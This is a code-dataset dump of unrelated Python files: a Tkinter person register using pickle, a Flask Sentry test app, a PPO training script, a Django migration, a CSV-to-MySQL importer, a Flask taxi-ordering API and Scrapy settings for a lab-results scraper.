self.buscar_pornombre)\r\n buscarpersonamenu.add_command(label = \"Buscar por DNI\", command = self.buscar_pordni)\r\n buscarpersonamenu.add_command(label = \"Mostrar todas las personas, instanciadas\", command = self.mostrar)\r\n borrarpersonamenu = Menu(menubar, tearoff = 0)\r\n menubar.add_cascade(label = \"Borrar persona\", menu = borrarpersonamenu)\r\n borrarpersonamenu.add_command(label = \"Borrar persona por sus nombres\", command = self.borrar_pornombre)\r\n borrarpersonamenu.add_command(label = \"Borrar persona por DNI\", command = self.borrar_pordni)\r\n contactomenu = menubar.add_command(label = \"Contacta al creador\", command = self.contacto)\r\n\r\n salirmenu = menubar.add_command(label = \"Salir del programa\", command = self.ventana.destroy)\r\n\r\n # Inputs para Nombres, Apellidos y DNI:\r\n\r\n self.varnombres = StringVar()\r\n self.varapellidos = StringVar()\r\n self.vardni = StringVar()\r\n\r\n Label(frame, text = \"Nombres: \").grid(row = 1, column = 0, pady = 5, sticky = \"w\")\r\n self.entry_nombres = Entry(frame, textvariable = self.varnombres) \r\n self.entry_nombres.grid(row = 1, column = 1, pady = 5)\r\n self.entry_nombres.focus()\r\n\r\n Label(frame, text = \"Apellidos: \").grid(row = 2, column = 0, pady = 5, sticky = \"w\")\r\n self.entry_apellidos = Entry(frame, textvariable = self.varapellidos)\r\n self.entry_apellidos.grid(row = 2, column = 1, pady = 5)\r\n\r\n Label(frame, text = \"DNI: \").grid(row = 3, column = 0, pady = 5, sticky = \"w\")\r\n self.entry_dni = Entry(frame, textvariable = self.vardni)\r\n self.entry_dni.grid(row = 3, column = 1, pady = 5)\r\n\r\n # Botones\r\n\r\n agregar = Button(frame, text = \"Agregar\", font = (\"\",9,\"bold\"), command = self.agregar)\r\n agregar.grid(row = 4, columnspan = 3, sticky = W + E)\r\n\r\n \"\"\" ESPACIO EN LA VENTANA PARA CENTRAR MI LABELFRAME \"\"\"\r\n\r\n espacio = Frame(self.ventana, width = 450).grid()\r\n\r\n def contacto(self):\r\n\r\n MessageBox.showinfo(\"Info\", \"Puedes contactar al creador de este programa a peraltahebert@gmail.com\")\r\n\r\n # Creamos una lista vacia\r\n\r\n personas = []\r\n\r\n def cargar(self):\r\n\r\n fichero = open(\"personas.pickle\", \"ab+\")\r\n fichero.seek(0)\r\n \r\n try:\r\n \r\n self.personas = pickle.load(fichero)\r\n \r\n except:\r\n\r\n pass\r\n \r\n finally:\r\n \r\n fichero.close()\r\n\r\n def agregar(self):\r\n\r\n if self.entry_nombres.get() == \"\":\r\n \r\n MessageBox.showerror(\"Error\", \"Todos los campos son obligatorios\")\r\n self.varnombres.set(\"\")\r\n self.varapellidos.set(\"\")\r\n self.vardni.set(\"\")\r\n self.entry_nombres.focus()\r\n\r\n elif self.entry_apellidos.get() == \"\":\r\n\r\n MessageBox.showerror(\"Error\", \"Todos los campos son obligatorios\")\r\n self.varnombres.set(\"\")\r\n self.varapellidos.set(\"\")\r\n self.vardni.set(\"\")\r\n self.entry_nombres.focus()\r\n\r\n elif self.entry_dni.get() == \"\":\r\n\r\n MessageBox.showerror(\"Error\", \"Todos los campos son obligatorios\")\r\n self.varnombres.set(\"\")\r\n self.varapellidos.set(\"\")\r\n self.vardni.set(\"\")\r\n self.entry_nombres.focus()\r\n\r\n else:\r\n\r\n for p in self.personas: \r\n\r\n if p.dni == self.vardni.get():\r\n\r\n MessageBox.showerror(\"Error\", \"La persona ya se encuentra registrada\")\r\n\r\n if p.dni == self.vardni.get():\r\n\r\n return\r\n\r\n self.personas.append(Persona(self.varnombres.get().title(), self.varapellidos.get().title(), self.vardni.get())) # De esta manera instancie un objeto dentro de otro\r\n self.varnombres.set(\"\")\r\n self.varapellidos.set(\"\")\r\n self.vardni.set(\"\")\r\n MessageBox.showinfo(\"Listo\", \"Persona agregada con éxito\")\r\n self.entry_nombres.focus()\r\n self.guardar()\r\n \r\n def guardar(self):\r\n\r\n fichero = open(\"personas.pickle\", \"wb\")\r\n fichero.seek(0)\r\n pickle.dump(self.personas, fichero)\r\n fichero.close()\r\n\r\n def mostrar(self):\r\n\r\n self.ventana_mostrar = Toplevel()\r\n self.ventana_mostrar.title(\"Mostrar todas las personas instanciadas\")\r\n self.ventana_mostrar.resizable(False, False)\r\n\r\n # Widgets de self.ventana_mostrar\r\n\r\n self.tabla = ttk.Treeview(self.ventana_mostrar, height = len(self.personas), columns = (\"Apellidos\", \"DNI\"))\r\n self.tabla.grid(row = 0, column = 0, columnspan = 2)\r\n self.tabla.heading(\"#0\", text = \"Nombres\")\r\n self.tabla.heading(\"Apellidos\", text = \"Apellidos\")\r\n self.tabla.heading(\"DNI\", text = \"DNI\")\r\n\r\n Button(self.ventana_mostrar, text = \"Eliminar selección\", command = self.eliminar_seleccion).grid(row = 1, column = 0, sticky = W + E)\r\n\r\n Button(self.ventana_mostrar, text = \"Eliminar todo\", command = self.eliminar_todo).grid(row = 1, column = 1, sticky = W + E)\r\n\r\n if len(self.personas) == 0:\r\n \r\n self.ventana_mostrar.destroy()\r\n MessageBox.showerror(\"Opps\", \"No hay nada que mostrar porque la base de datos está vacia\")\r\n\r\n else:\r\n\r\n for p in self.personas:\r\n \r\n self.tabla.insert(\"\", END,text = p.nombres, values = (p.apellidos,p.dni)) # Si en el segundo argumento pasamos END se mostrará siempre de primero la primera persona que se haya agregado al programa, si pasamos un 0 se mostrará de primera la ultima persona que se haya agregado al programa.\r\n\r\n def buscar_pornombre(self):\r\n\r\n self.ventana_buscar_pornombre = Toplevel()\r\n self.ventana_buscar_pornombre.title(\"Buscar persona por sus nombres\")\r\n self.ventana_buscar_pornombre.resizable(False, False)\r\n\r\n # Widgets para el self.vetanana_buscar_pornombre\r\n\r\n frame = LabelFrame(self.ventana_buscar_pornombre, text = \"Buscar persona por sus nombres\")\r\n frame.grid(row = 0, column = 0, columnspan = 3, pady = 5)\r\n \r\n Label(frame, text = \"Nombres: \").grid(row = 0, column = 0)\r\n self.entry_nombres = Entry(frame)\r\n self.entry_nombres.grid(row = 0, column = 1)\r\n\r\n Button(frame, text = \"Buscar\", command = self.boton_buscarnombre).grid(row = 1, columnspan = 3, sticky = W + E, pady = 10)\r\n\r\n self.tabla = ttk.Treeview(self.ventana_buscar_pornombre, columns = (\"Apellidos\", \"DNI\"))\r\n self.tabla.grid(row = 3, columnspan = 3)\r\n self.tabla.heading(\"#0\", text = \"Nombres\")\r\n self.tabla.heading(\"Apellidos\", text = \"Apellidos\")\r\n self.tabla.heading(\"DNI\", text = \"DNI\")\r\n\r\n # Definiendo la función para el boton de buscar por nombres\r\n\r\n def boton_buscarnombre(self):\r\n\r\n if len(self.personas) == 0:\r\n\r\n MessageBox.showerror(\"Opps\", \"La base de datos se encuentra vacia\")\r\n\r\n elif self.entry_nombres.get().title() == \"\":\r\n\r\n MessageBox.showerror(\"\",\"El campo \\\"Nombres\\\" es requerido para la busqueda\")\r\n\r\n else:\r\n\r\n for p in self.personas:\r\n\r\n if p.nombres == self.entry_nombres.get().title() or p.nombres[:len(self.entry_nombres.get())] == self.entry_nombres.get().title():\r\n \r\n guardado_entabla = self.tabla.get_children() # de 229 a 233 es codigo para borrar lo que este en la tabla\r\n # esto sirve para cuando el usaurio haga varias busquedas\r\n # entonces se limpien las busquedas anteriores\r\n for t in guardado_entabla:\r\n self.tabla.delete(t)\r\n\r\n self.tabla.insert(\"\", END, text = p.nombres, values = (p.apellidos, p.dni))\r\n self.entry_nombres.delete(0, END)\r\n\r\n def buscar_pordni(self):\r\n\r\n self.ventana_buscar_pordni = Toplevel()\r\n self.ventana_buscar_pordni.title(\"Buscar persona por DNI\")\r\n self.ventana_buscar_pordni.resizable(False, False)\r\n\r\n # Widgets para el self.vetanana_buscar_porndni\r\n\r\n self.frame_buscar_pordni = LabelFrame(self.ventana_buscar_pordni, text = \"Buscar persona por su DNI\")\r\n self.frame_buscar_pordni.grid(row = 0, column = 0, columnspan = 3, pady = 5, padx = 10)\r\n \r\n Label(self.frame_buscar_pordni, text = \"DNI: \").grid(row = 0, column = 0)\r\n self.entry_dni = Entry(self.frame_buscar_pordni)\r\n self.entry_dni.grid(row = 0, column = 1)\r\n\r\n Button(self.frame_buscar_pordni, text = \"Buscar\", command = self.boton_buscardni).grid(row = 1, columnspan = 3, sticky = W + E, pady = 10)\r\n\r\n self.tabla = ttk.Treeview(self.ventana_buscar_pordni, columns = (\"Apellidos\", \"DNI\"))\r\n self.tabla.grid(row = 3, columnspan = 3)\r\n self.tabla.heading(\"#0\", text = \"Nombres\")\r\n self.tabla.heading(\"Apellidos\", text = \"Apellidos\")\r\n self.tabla.heading(\"DNI\", text = \"DNI\")\r\n\r\n # Definiendo la función del boton buscar por dni:\r\n\r\n def boton_buscardni(self):\r\n\r\n if len(self.personas) == 0:\r\n\r\n MessageBox.showerror(\"Opps\", \"La base de datos se encuentra vacia\")\r\n\r\n elif self.entry_dni.get() == \"\":\r\n\r\n MessageBox.showerror(\"Error\", \"El campo \\\"DNI\\\" es requerido\")\r\n\r\n else:\r\n\r\n for p in self.personas:\r\n\r\n if p.dni == self.entry_dni.get() or p.dni[:len(self.entry_dni.get())] == self.entry_dni.get():\r\n\r\n self.tabla.insert(\"\", END, text = p.nombres, values = (p.apellidos, p.dni))\r\n self.entry_dni.delete(0, END)\r\n\r\n def borrar_pornombre(self):\r\n\r\n self.ventana_borrar_pornombre = Toplevel()\r\n self.ventana_borrar_pornombre.title(\"Borrar persona por sus nombres\")\r\n\r\n # Widgets para el self.vetanana_borrar_pornombre\r\n\r\n self.frame_borrar_pornombre = LabelFrame(self.ventana_borrar_pornombre, text = \"Borrar persona por sus nombres\")\r\n self.frame_borrar_pornombre.grid(row = 0, column = 0, columnspan = 3, pady = 85)\r\n \r\n Label(self.frame_borrar_pornombre, text = \"Nombres: \").grid(row = 0, column = 0)\r\n self.entry_nombres_borrar = Entry(self.frame_borrar_pornombre)\r\n self.entry_nombres_borrar.grid(row = 0, column = 1)\r\n\r\n Button(self.frame_borrar_pornombre, text = \"Borrar\", command = self.boton_borrarnombre).grid(row = 1, columnspan = 3, sticky = W + E, pady = 10)\r\n\r\n espacio = Frame(self.ventana_borrar_pornombre, width = 450).grid()\r\n\r\n # Definiendo la función del boton borrar persona por nombre:\r\n\r\n def boton_borrarnombre(self):\r\n\r\n for p in self.personas:\r\n\r\n if p.nombres == self.entry_nombres_borrar.get():\r\n\r\n self.personas.remove(p)\r\n MessageBox.showinfo(\"\",\"La persona {} ha sido borrada\".format(p.nombres))\r\n self.guardar()\r\n return\r\n\r\n if self.entry_nombres_borrar.get() == \"\":\r\n\r\n MessageBox.showerror(\"Atención\", \"El campo \\\"Nombres\\\" es requerido\")\r\n return\r\n\r\n else:\r\n \r\n MessageBox.showinfo(\"\",\"No se encuentra la persona en la base de datos\")\r\n return\r\n\r\n def borrar_pordni(self):\r\n\r\n self.ventana_borrar_pordni = Toplevel()\r\n self.ventana_borrar_pordni.title(\"Borrar persona por su DNI\")\r\n\r\n self.frame_borrar_pordni = LabelFrame(self.ventana_borrar_pordni, text = \"Borrar persona por su DNI\")\r\n self.frame_borrar_pordni.grid(row = 0, column = 0, columnspan = 3, pady = 85)\r\n \r\n Label(self.frame_borrar_pordni, text = \"DNI: \").grid(row = 0, column = 0)\r\n self.entry_dni = Entry(self.frame_borrar_pordni)\r\n self.entry_dni.grid(row = 0, column = 1)\r\n\r\n Button(self.frame_borrar_pordni, text = \"Borrar\", command = self.boton_borrardni).grid(row = 1, columnspan = 3, sticky = W + E, pady = 10)\r\n\r\n espacio = Frame(self.ventana_borrar_pordni, width = 450).grid()\r\n\r\n # Definiendo la función del boton borrar personas por dni:\r\n\r\n def boton_borrardni(self):\r\n\r\n for p in self.personas:\r\n\r\n if p.dni == self.entry_dni.get():\r\n\r\n self.personas.remove(p)\r\n MessageBox.showinfo(\"\",\"La persona {} ha sido borrada\".format(p.nombres))\r\n self.guardar()\r\n return\r\n\r\n if self.entry_dni.get() == \"\":\r\n\r\n MessageBox.showerror(\"Atención\", \"El campo \\\"DNI\\\" es requerido\")\r\n return\r\n\r\n else:\r\n \r\n MessageBox.showinfo(\"\",\"No se encuentra la persona en la base de datos\")\r\n return\r\n \r\n # Definiendo la función del boton eliminar seleción, de la ventana_mostrar\r\n\r\n def eliminar_seleccion(self):\r\n\r\n nombre_producto = self.tabla.item(self.tabla.selection())[\"text\"]\r\n\r\n for p in self.personas:\r\n\r\n if p.nombres == nombre_producto:\r\n\r\n self.personas.remove(p)\r\n self.actualizar_tabla()\r\n self.guardar()\r\n\r\n # Definiendo la función del boton eliminar todo, de la ventana_mostrar\r\n\r\n def eliminar_todo(self):\r\n\r\n decision = MessageBox.askquestion(\"ATENCION\", \"Borrará por completo su base de datos, ¿Está seguro que desea continuar?\")\r\n \r\n if decision == \"yes\":\r\n\r\n for n in range(len(self.personas)): # usamos range para decir que lo que este dentro de este for se ejecute según la cantidad de personas que hayan, para que asì se borren todas las personas\r\n\r\n for p in self.personas:\r\n\r\n self.personas.remove(p)\r\n self.actualizar_tabla()\r\n self.guardar()\r\n\r\n # OTRA MANERA DE BORRAR TODOS LOS DATOS SERIA :\r\n\r\n # fichero = open(\"personas.pickle\", \"wb\")\r\n # fichero.seek(0)\r\n # self.personas = [] # Igual el self.personas a una lista vacia y luego hacer el dump\r\n # pickle.dump(self.personas, fichero)\r\n # fichero.close()\r\n # self.actualizar_tabla()\r\n # self.guardar()\r\n\r\n def actualizar_tabla(self):\r\n\r\n guardado_entabla = self.tabla.get_children()\r\n\r\n for t in guardado_entabla:\r\n\r\n self.tabla.delete(t)\r\n\r\n for p in self.personas:\r\n\r\n self.tabla.insert(\"\", END, text = p.nombres, values = (p.apellidos, p.dni))\r\n\r\nif __name__ == '__main__':\r\n \r\n ventana = Tk()\r\n app = Aplicacion(ventana)\r\n ventana.mainloop()","sub_path":"Programas con pickle/people register/people register/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":15992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"514803845","text":"import logging\nimport socket\nimport sys\nimport os\nfrom flask import Flask\nfrom raven.contrib.flask import Sentry\n\n\ndef create_app():\n\tsentry_url = os.getenv('SENTRY_URL').strip()\n\tsentry = Sentry(dsn=sentry_url)\n\tprint(\"sentry\", sentry_url)\n\tapp = Flask(__name__)\n\tapp.logger.addHandler(logging.StreamHandler(sys.stdout))\n\tapp.logger.setLevel(logging.DEBUG)\n\tsentry.init_app(app)\n\treturn app\n\napp = create_app()\n\n@app.route('/exception')\ndef raise_error():\n\traise NameError(\"TEST {0}\".format(socket.gethostname()))\n\n@app.route('/')\ndef hello_world():\n\toutput = \"Hello World! host:{0}\".format(socket.gethostname())\n\tapp.logger.info(output)\n\treturn output\n\napp.run(host='0.0.0.0', port=8001)","sub_path":"app/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"460321998","text":"import gym\nimport torch\nimport torch.nn as nn\nfrom torch.distributions.categorical import Categorical\nimport numpy as np\n\ndef mlp(sizes, activation=nn.Tanh, output_activation=nn.Identity):\n # Build a feedforward neural network.\n layers = []\n for j in range(len(sizes)-1):\n act = activation if j < len(sizes)-2 else output_activation\n layers += [nn.Linear(sizes[j], sizes[j+1]), act()]\n return nn.Sequential(*layers)\n\n\nclass CustomCritic(nn.Module):\n def __init__(self, sizes):\n super().__init__()\n self.v_net = mlp(sizes=sizes, activation=nn.Softmax)\n\n def forward(self, obs):\n return torch.squeeze(self.v_net(obs), -1) # Critical to ensure v has right shape.\n\n\ndef train(policy_lr=1e-2,\n val_lr=1e-3,\n hidden_sizes=[32],\n batch_size=5000,\n epochs=50,\n env_type='CartPole-v0',\n epsilon=0.2):\n env = gym.make(env_type)\n\n obs_dim = env.observation_space.shape[0]\n n_acts = env.action_space.n\n\n # Policy & Optimizer\n logits_net = mlp(sizes=[obs_dim] + hidden_sizes + [n_acts])\n optimizer_policy = torch.optim.Adam(logits_net.parameters(), lr=policy_lr)\n\n # Value function\n val_net = CustomCritic(sizes=[obs_dim] + hidden_sizes + [n_acts])\n optimizer_val = torch.optim.Adam(val_net.parameters(), lr=val_lr)\n\n batch_weights = [0] * batch_size\n oldp = torch.randn(batch_size)\n\n def get_policy(obs):\n logits = logits_net(obs)\n return Categorical(logits=logits)\n\n def get_action(obs):\n return get_policy(obs).sample().item()\n\n def get_return_to_go(rews):\n n = len(rews)\n rtgs = [0] * n\n for i in reversed(range(n)):\n rtgs[i] = rews[i] + (rtgs[i + 1] if i + 1 < n else 0)\n return rtgs\n\n def get_policy_loss(obs, act, adv, oldp):\n newp = get_policy(obs).log_prob(act)\n policy_ratio = torch.exp(newp - oldp)\n clip_adv = torch.clamp(policy_ratio, 1 - epsilon, 1 + epsilon) * adv\n\n policy_loss = -(torch.min(policy_ratio * adv, clip_adv)).mean()\n return policy_loss\n\n def get_advantage(vals, rews, discount=0.99, lam=0.97):\n n = len(rews)\n adv = [0] * n\n for i in range(n):\n td_error = rews[i] + ((vals[i + 1] if i + 1 < n else 0) * discount * lam)\n adv[i] = td_error - vals[i]\n return adv\n\n def update_value_function(obs, rewards):\n logits = val_net(obs)\n return ((logits - rewards.reshape(-1, 1))**2).mean()\n\n\n def update(obs, acts, vals, rews):\n #nonlocal batch_weights\n oldp = get_policy(obs=torch.as_tensor(obs, dtype=torch.float32)).log_prob(torch.as_tensor(acts, dtype=torch.float32)).detach()\n batch_weights = get_advantage(vals, rews)\n\n\n for i in range(5):\n optimizer_policy.zero_grad()\n batch_loss = get_policy_loss(obs=torch.as_tensor(obs, dtype=torch.float32),\n act=torch.as_tensor(acts, dtype=torch.float32),\n adv=torch.as_tensor(batch_weights, dtype=torch.float32),\n oldp=torch.as_tensor(oldp, dtype=torch.float32))\n batch_loss.backward()\n optimizer_policy.step()\n\n for i in range(5):\n optimizer_val.zero_grad()\n batch_value_loss = update_value_function(obs=torch.as_tensor(obs, dtype=torch.float32),\n rewards=torch.as_tensor(rews, dtype=torch.float32))\n batch_value_loss.backward()\n optimizer_val.step()\n\n print(f\"Batch_loss: {batch_loss}\")\n print(f\"batch_value_loss: {batch_value_loss}\")\n print(f\"avg_reward: {sum(rews) / len(rews)}\")\n print(f\"reward:: {sum(rews)}\")\n\n def train_one_epoch(curr_epoch):\n\n # Lasting throughout the whole epoch\n batch_obs = []\n batch_act = []\n batch_rews = []\n batch_vals = []\n\n # Resets per episode\n obs = env.reset()\n ep_rews = []\n done = False\n\n # render first episode of each epoch\n finished_rendering_this_epoch = False\n\n while True:\n\n if not finished_rendering_this_epoch:\n env.render()\n\n act = get_action(torch.as_tensor(obs, dtype=torch.float32))\n\n batch_act.append(act)\n batch_obs.append(obs.copy())\n\n obs, rew, done, _ = env.step(act)\n\n ep_rews.append(rew)\n batch_vals.append(val_net(torch.as_tensor(obs, dtype=torch.float32)).mean())\n\n if done or len(batch_obs) == batch_size:\n batch_rews += get_return_to_go(ep_rews)\n\n obs, done, ep_rews = env.reset(), False, []\n\n finished_rendering_this_epoch = True\n\n if len(batch_obs) == batch_size:\n break\n\n print(f\"Epoch: {curr_epoch}\")\n update(batch_obs, batch_act, batch_vals, batch_rews)\n\n for i in range(epochs):\n train_one_epoch(i)\n env.close()\n\n\nif __name__ == '__main__':\n # Possible env 'MountainCar-v0'\n train(epochs=50, env_type='MountainCar-v0')","sub_path":"ppo.py","file_name":"ppo.py","file_ext":"py","file_size_in_byte":5165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"551554361","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('digital', '0008_auto_20160216_1954'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='DetalleArt',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('descripcion', models.CharField(max_length=500, null=True)),\n ('articulo', models.ForeignKey(to='digital.Articulo')),\n ('dato', models.ForeignKey(to='digital.datoarticulo')),\n ],\n ),\n ]\n","sub_path":"csdigital/digital/migrations/0009_detalleart.py","file_name":"0009_detalleart.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"41706689","text":"import csv\nimport os\nimport pymysql\n\nrow_list = []\n\n#mysql\nconn = pymysql.connect(db='',\n\t\t\t\t\t\thost='',\n\t\t\t\t\t\tport='',\n\t\t\t\t\t\tuser='administrator',\n\t\t\t\t\t\tpassword='',\n\t\t\t\t\t\tuse_unicode=True,\n\t\t\t\t\t\tcharset='utf8')\n\n##################################################################\n# topic-terms\n##################################################################\nwith open('topic-terms.csv', 'r', encoding=\"utf-8\") as in_file:\n\tfor row in in_file:\n\t\t\n\t\treadCSV = csv.reader(in_file)\n\n\t\tfor row in readCSV:\n\t\t\ttopic = row[0]\n\t\t\tterm = row[1]\n\t\t\tweight = row[2]\n\t\t\trow_list.append(row)\n\n#import all articles to MySQL database\nwith conn.cursor() as cur:\n\tfor row in row_list:\n\t\tcur.execute(\"CREATE TABLE IF NOT EXISTS \\\n\t\t\t\t\t\ttech_xplore_topic_terms (\\\n\t\t\t\t\t\tid INTEGER NOT NULL AUTO_INCREMENT, \\\n\t\t\t\t\t\ttopic INTEGER, \\\n\t\t\t\t\t\tterm VARCHAR(800) NOT NULL, \\\n\t\t\t\t\t\tweight FLOAT NOT NULL,\\\n\t PRIMARY KEY (id) );\") \n\t\tcur.execute(\"INSERT IGNORE INTO \\\n\t\t\t\t\tlinkedTopicDB2.tech_xplore_topic_terms \\\n\t\t\t\t\t(topic, term, weight) \\\n\t\t\t\t\tVALUES (%s, %s, %s)\", (row[0], row[1], row[2]))\n\tconn.commit()\n\tconn.close()\n\n\n###################################################################\n# doc-topics\n###################################################################\n# with open('doc-topics.csv', 'r', encoding=\"utf-8\") as in_file:\n# \tfor row in in_file:\n\t\t\n# \t\treadCSV = csv.reader(in_file)\n\n# \t\tfor row in readCSV:\n# \t\t\tdocname = row[0]\n# \t\t\ttopic = row[1]\n# \t\t\tproportion = row[2]\n# \t\t\trow_list.append(row)\n\n# #import all articles to MySQL database\n# with conn.cursor() as cur:\n# \tfor row in row_list:\n# \t\tcur.execute(\"CREATE TABLE IF NOT EXISTS \\\n# \t\t\t\t\t\ttech_xplore_doc_topics (\\\n# \t\t\t\t\t\tid INTEGER NOT NULL AUTO_INCREMENT, \\\n# \t\t\t\t\t\tdocname VARCHAR(256) NOT NULL, \\\n# \t\t\t\t\t\ttopic INTEGER NOT NULL, \\\n# \t\t\t\t\t\tproportion FLOAT NOT NULL,\\\n# \t PRIMARY KEY (id) );\") \n# \t\tcur.execute(\"INSERT IGNORE INTO \\\n# \t\t\t\t\tlinkedTopicDB2.tech_xplore_doc_topics \\\n# \t\t\t\t\t(docname, topic, proportion) \\\n# \t\t\t\t\tVALUES (%s, %s, %s)\", (row[0], row[1], row[2]))\n# \tconn.commit()\n# \tconn.close()","sub_path":"lesson3/activity_I__techXplore_rss_feed/topic_modeling_output__techXplore/csv_to_mysql__tech_xplore.py","file_name":"csv_to_mysql__tech_xplore.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"407544901","text":"\"\"\"Приложение для заказа такси на Flask.\"\"\"\n\nfrom typing import Any\n\nfrom flask import request, Flask, Response, json\n\nfrom bd import Drivers, Clients, Orders\n\napp = Flask(__name__)\n\n\ndef converter(ans: str) -> dict:\n \"\"\"Конвертер строки response в словарь.\"\"\"\n new_ans = ans.replace('[', \"\").replace(']', '').replace(\"'\", '\"')\n dict_ans = eval(new_ans)\n return dict_ans\n\n\n@app.route('/drivers/')\ndef show_driver(driver_id: int) -> Any:\n \"\"\"Поиск водителя.\"\"\"\n try:\n driver = Drivers()\n ans = str(driver.select_driver(driver_id))\n if ans == '[]':\n return Response('Объект в базе не найден', status=404)\n return str(ans)\n except Exception:\n return Response('Неправильный запрос', status=400)\n\n\n@app.route('/drivers', methods=['DELETE', 'POST'])\ndef del_or_add_driver() -> Response:\n \"\"\"Удаление и добавление водителя в базу.\"\"\"\n try:\n driver = Drivers()\n file = json.loads(request.data.decode('utf-8'))\n except Exception:\n return Response('Неправильный запрос', status=400)\n if request.method == 'POST':\n try:\n driver.insert_driver(file['name'], file['car'])\n print('Post', file['id'])\n return Response('created!', status=201)\n except Exception:\n return Response('Неправильный запрос', status=400)\n elif request.method == 'DELETE':\n try:\n print('Delete', file['id'])\n if str(driver.select_driver(file['id'])) == '[]':\n return Response('Объект в базе не найден ', status=404)\n driver.delete_driver(file['id'])\n return Response('Удалено', status=204)\n except Exception:\n return Response('Неправильный запрос', status=400)\n\n\n@app.route('/clients/')\ndef show_client(client_id: int) -> Any:\n \"\"\"Поиск клиента в базе.\"\"\"\n try:\n client = Clients()\n ans = str(client.select_client(client_id))\n if ans == '[]':\n return Response('Объект в базе не найден', status=404)\n return ans\n except Exception:\n return Response('Неправильный запрос', status=400)\n\n\n@app.route('/clients', methods=['DELETE', 'POST'])\ndef client() -> Response:\n \"\"\"Добавление/удаление клиента.\"\"\"\n try:\n client = Clients()\n file = json.loads(request.data.decode('utf-8'))\n except Exception:\n return Response('Неправильный запрос', status=400)\n\n if request.method == 'POST':\n try:\n client.insert_client(file['name'], file['is_vip'])\n print('Post', file['id'])\n return Response('created!', status=201)\n except Exception:\n return Response('Неправильный запрос', status=400)\n elif request.method == 'DELETE':\n try:\n print('Delete', file['id'])\n if str(client.select_client(file['id'])) == '[]':\n return Response('Объект в базе не найден', status=404)\n client.delete_client(file['id'])\n return Response('Удалено', status=204)\n except Exception:\n return Response('Неправильный запрос', status=400)\n else:\n return Response('Неправильный запрос', status=400)\n\n\n@app.route('/orders/', methods=['GET', 'PUT', 'POST'])\ndef show_order(order_id: int) -> Any:\n \"\"\"Изменение/поиск заказа.\"\"\"\n try:\n order = Orders()\n ans = str(order.select_order(order_id))\n except Exception:\n return Response('Неправильный запрос', status=400)\n if request.method == 'GET':\n if ans == '[]':\n return Response('Объект в базе не найден', status=404)\n return str(ans)\n if request.method == 'PUT':\n file = json.loads(request.data.decode('utf-8'))\n if ans == '[]':\n return Response('Объект не найден в базе', status=404)\n print(converter(ans)['status'])\n if converter(ans)['status'] == 'not_accepted' and file['status'] in ['in_progress', 'cancelled']:\n order.update_order_not_accepted(order_id,\n file['status'],\n file['date_created'],\n file['driver_id'],\n file['client_id'])\n return Response('Изменено', status=200)\n if converter(ans)['status'] == 'in_progress' and file['status'] in ['done', 'cancelled']:\n order.update_order_in_progress(order_id, file['status'])\n return Response('Изменено!', status=200)\n return Response(\"Неправильный запрос\", status=400)\n\n\n@app.route('/orders', methods=['POST'])\ndef order() -> Response:\n \"\"\"Добавление заказа.\"\"\"\n try:\n order = Orders()\n file = json.loads(request.data.decode('utf-8'))\n except Exception:\n return Response('Неправильный запрос', status=400)\n if request.method == 'POST':\n try:\n order.insert_order(file['address_from'], file['address_to'],\n file['client_id'], file['driver_id'],\n file['date_created'], file['status'])\n return Response('created!', status=201)\n except Exception:\n return Response('Плохой json', status=400)\n else:\n return Response('Неправильный запрос', status=400)\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"taxi.py","file_name":"taxi.py","file_ext":"py","file_size_in_byte":5967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"626282151","text":"# -*- coding: utf-8 -*-\n\n# Scrapy settings for afip project\n#\n# For simplicity, this file contains only settings considered important or\n# commonly used. You can find more settings consulting the documentation:\n#\n# http://doc.scrapy.org/en/latest/topics/settings.html\n# http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html\n# http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html\n\nimport logging\n\nLOG_LEVEL = logging.ERROR\n\nBOT_NAME = 'afip'\n\nSPIDER_MODULES = ['afip.spiders']\n\nNEWSPIDER_MODULE = 'afip.spiders'\n\nEXPORT_FIELDS = [\n \"nome\",\n 'sexo',\n 'codpac',\n 'altcodpac',\n 'data_nascimento',\n 'prontuario',\n 'setor',\n \"ordem\",\n \"controle\",\n \"requisitor\",\n \"data_pedido\",\n \"coletado\",\n \"liberado\",\n \"Hemoglobina\",\n \"Hematocrito\",\n \"Plaquetas\",\n \"Leucocitos_totais\",\n \"Bastonetes\",\n \"Segmentados\",\n \"Eosinofilos\",\n \"Linfocitos_totais\",\n \"Monocitos\",\n \"Proteina_C_Reativa\",\n \"Atividade\",\n \"RNI\",\n \"Relacao_paciente/normal\",\n \"PH\",\n \"PO2\",\n \"PCO2\",\n \"Bicarbonato_(HCO3)\",\n \"Base_Exces\",\n \"Saturacao_de_O2\",\n \"Creatinina\",\n \"Ureia\",\n \"Sodio\",\n \"Potassio\",\n \"Calcio_Ionizado\",\n \"Magnesio\",\n \"Fosforo\",\n \"Lactato\",\n \"Transaminase_Glutamico_Oxalacetica\",\n \"TGP/ALT_Transaminase_Glutamico_Piruvica\",\n \"GGT_-_Gama_Glutamil_Transferase\",\n \"Fosfatase_Alcalina\",\n \"Bilirrubina_Total\",\n \"Bilirrubina_Direta\",\n \"Albumina\",\n \"Amilase\",\n \"DHL_-_Desidrogenase_Lactica\",\n \"CK_-_Creatino_Fosfoquinase\",\n \"CKMB_Massa\",\n \"Troponina\",\n \"Proteina\",\n \"Leucocitos\",\n \"Hemacias\",\n \"Cetona\",\n \"Glicose\"]\n\ndo_not_import = [\n '',\n 'Antibiograma',\n 'Etnias_Afro-descendentes',\n 'Outras_Etnias',\n 